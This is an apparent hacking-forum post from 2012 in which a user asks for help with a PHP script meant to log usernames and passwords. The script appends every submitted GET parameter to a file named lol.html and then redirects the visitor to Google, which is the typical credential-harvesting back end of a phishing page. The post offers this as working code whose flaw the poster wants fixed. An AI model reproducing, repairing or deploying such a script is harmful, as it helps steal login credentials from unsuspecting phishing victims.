I am not able make a log of login sessions using php 08-22-2012, 01:38 PM
#1
here is the php code it creates lol.html file but donot store username and password..
Quote:<?php
header ('Location: http://www.google.com');
$handle = fopen("lol.html", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)